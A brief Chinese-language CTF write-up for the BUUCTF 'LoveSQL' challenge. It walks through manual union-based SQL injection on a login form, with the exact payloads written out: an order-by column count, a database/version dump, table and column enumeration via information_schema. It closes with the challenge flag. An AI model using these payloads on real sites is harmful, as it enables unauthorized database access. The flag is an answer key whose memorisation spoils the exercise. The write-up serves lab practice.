buuctf-[极客大挑战 2019]LoveSQL

进入环境，观察一下怎么进行sql注入

发现是登录框形式的，那么试一下万能密码登录

我们用提示给的密码登录试一下

还是一样的提示，用sqlmap试了一下没有效果，那即手工爆

我们爆破字段数

输入username=admin%27%20order%20by%204%23&password=1，直接在网址上输入这个

发现字段数为4

那么我们继续爆破表名

username=1' union select 1,database(),version()%23&password=1

得到了库名，下面爆破表名

username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

发现了表名为l0ve1ysq1,下面得到这个表里的内容

username=1&password='union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = ‘geek’%23

查看源代码就看到了flag

flag{7008a66a-f141-446e-b3e5-71c1c16a2827}